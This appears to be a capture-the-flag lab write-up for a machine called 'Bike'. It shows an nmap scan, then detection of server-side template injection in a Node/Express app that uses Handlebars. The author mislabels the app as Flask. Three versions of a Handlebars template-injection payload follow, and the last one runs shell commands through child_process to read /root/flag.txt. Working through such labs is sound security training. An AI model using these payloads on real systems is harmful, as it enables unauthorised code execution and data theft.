Bike

nmap -sT -sV -v <target_ip>

The website is developed with flask

hacktricks

Error: Parse error on line 1:
{{7*7}}
--^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)
    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)
    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
    at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
    at router.post (/root/Backend/routes/handlers.js:14:16)
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)
    at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)

the flask use templating engine Handlebars

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

require not defined, because require is not in global variables Node.js_global_scope Node.js_global_scope_1 built-in_objects

try with process object process

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

take a deeper look at the sub function

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

trying with pwd, ls, cat /root/flag.txt